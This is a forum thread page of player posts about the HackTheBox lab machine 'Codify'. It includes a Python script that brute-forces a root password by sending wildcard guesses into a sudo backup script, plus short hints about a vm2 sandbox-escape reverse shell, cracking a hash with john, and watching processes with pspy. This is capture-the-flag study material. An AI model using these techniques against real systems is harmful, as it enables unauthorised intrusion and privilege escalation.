HTB - Codify
by chillywilly - Saturday November 4, 2023 at 07:13 PM
#41
import string
import subprocess

all_characters_and_numbers = list(string.ascii_letters + string.digits)

password = ""
found = False

while not found:
    for character in all_characters_and_numbers:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
Reply
#42
Is the hash in /var/www/contact/ useful?
Reply
#43
Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)
Reply
#44
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?
Reply
#45
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?

su - 
and paste your passwd
Reply
#46
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?
Reply
#47
(Nov 05, 2023, 04:10 PM)intersteller2038 Wrote:
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above
Reply
#48
(Nov 05, 2023, 04:20 PM)0BL1V10N Wrote:
(Nov 05, 2023, 04:10 PM)intersteller2038 Wrote:
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above


Got it, but is there any other way of solving the machine?
Reply
#49
(Nov 04, 2023, 07:13 PM)chillywilly Wrote: lets goooooo  Big Grin

hopefully the box starts working off to a rough start
its a node.js box

dont really enjoy stuff but here goes nothing
Reply
#50
(Nov 05, 2023, 04:56 PM)intersteller2038 Wrote:
(Nov 05, 2023, 04:20 PM)0BL1V10N Wrote:
(Nov 05, 2023, 04:10 PM)intersteller2038 Wrote:
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above


Got it, but is there any other way of solving the machine?

Yes, you can run the sudo command and then pspy and you will find something interesting
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,540 8 minutes ago
Last Post: popoler
  [FREE] CPTS 12 FLAGS pulsebreaker 66 1,795 7 hours ago
Last Post: vlka
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 370 92,597 Yesterday, 05:05 PM
Last Post: lifolifo007
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,218 Yesterday, 02:10 PM
Last Post: kkkato
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 417 Apr 29, 2026, 10:36 PM
Last Post: op334

Forum Jump:


 Users browsing this forum: 1 Guest(s)